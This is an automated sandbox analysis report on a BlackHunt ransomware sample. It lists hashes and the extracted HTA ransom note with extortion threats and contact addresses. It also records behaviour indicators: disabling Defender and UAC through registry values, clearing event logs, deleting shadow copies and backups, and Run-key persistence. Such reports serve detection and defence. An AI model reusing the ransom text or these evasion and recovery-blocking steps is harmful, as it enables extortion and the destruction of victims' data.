7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:46

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General

Target

7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Size

707KB
MD5

83f98f3e7917a544e70f7536884d9d97
SHA1

e42e95c33a605ea70b003fb0f35a145886342707
SHA256

7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603
SHA512

4ce7a7408e9fd4b4076566a8e27ab6dc9573c0fc99235ef65f82b074a881c831dee500385e1a6c6319f3dcefe609d7b78f391cc039d48beb305d725d22b17f53
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1R8Gvnh:6uaTmkZJ+naie5OTamgEoKxLWE4h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> tHAg0n77CO1HLp5X </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1760	fsutil.exe
4076	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4948	wevtutil.exe
5908	wevtutil.exe
3148	wevtutil.exe
6128	wevtutil.exe
236	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3584	bcdedit.exe
4056	bcdedit.exe
6096	bcdedit.exe
848	bcdedit.exe

Renames multiple (2872) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4052	wbadmin.exe
6092	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
208	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\T:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\H:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\E:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\S:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\M:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\G:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\J:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\Z:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\Y:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\O:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\K:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\R:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\X:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\V:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\I:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\A:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\B:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\N:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\U:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened (read-only)	\??\L:	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\MANIFEST.MF	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jre7\lib\classlist	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kabul	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\#BlackHunt_ReadMe.txt	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_SelectionSubpicture.png	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkDrop32x32.gif	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\bookicon.gif	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fiji	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-text_ja.jar	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.txt	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_extractor\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Macau	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_ReadMe.txt	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Taipei	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-services.xml	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
